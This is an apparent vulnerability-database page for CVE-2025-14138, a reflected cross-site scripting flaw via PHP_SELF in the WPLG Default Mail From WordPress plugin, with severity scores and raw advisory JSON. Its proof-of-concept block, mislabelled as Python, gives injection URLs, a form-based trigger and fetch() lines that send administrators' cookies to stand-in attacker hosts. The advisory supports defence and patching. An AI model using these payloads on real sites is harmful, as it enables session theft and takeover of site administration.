Security Vulnerability Report
中文
CVE-2025-14138 CVSS 6.1 MEDIUM

CVE-2025-14138

Published: 2025-12-12 04:15:48
Last Modified: 2026-04-15 00:35:42

Description

The WPLG Default Mail From plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER['PHP_SELF']` variable in all versions up to, and including, 1.0.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WPLG Default Mail From <= 1.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-14138 PoC: Reflected XSS in WPLG Default Mail From plugin --> <!-- Attacker constructs a malicious URL with XSS payload --> <!-- When admin clicks the link, the script executes in their browser --> <!-- Example malicious URL --> http://target-site.com/wp-admin/admin.php/<script>alert(document.cookie)</script> <!-- Or with event handler for stealth --> http://target-site.com/wp-admin/admin.php/" onmouseover="alert('XSS') <!-- Real-world attack URL might look like: --> <!-- http://victim.com/wp-admin/options-general.php?page=wplg-default-mail-from/<script>fetch('https://attacker.com/steal?c='+document.cookie)</script> --> <!-- HTML form for demonstration (requires admin interaction): --> <form action="http://victim.com/wp-admin/admin.php/<script>alert(document.domain)</script>" method="GET"> <button type="submit">Click me</button> </form> <!-- JavaScript payload for cookie stealing: --> <script> fetch('https://attacker-controlled.com/log?cookie=' + encodeURIComponent(document.cookie)); </script>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14138", "sourceIdentifier": "[email protected]", "published": "2025-12-12T04:15:48.043", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WPLG Default Mail From plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER['PHP_SELF']` variable in all versions up to, and including, 1.0.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wplg-default-mail-from/tags/1.0.0/wplg.php#L134", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wplg-default-mail-from/trunk/wplg.php#L134", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/fd24b087-83a7-4f9a-8f7a-1bd94332c1f7?source=cve", "source": "[email protected]"}]}}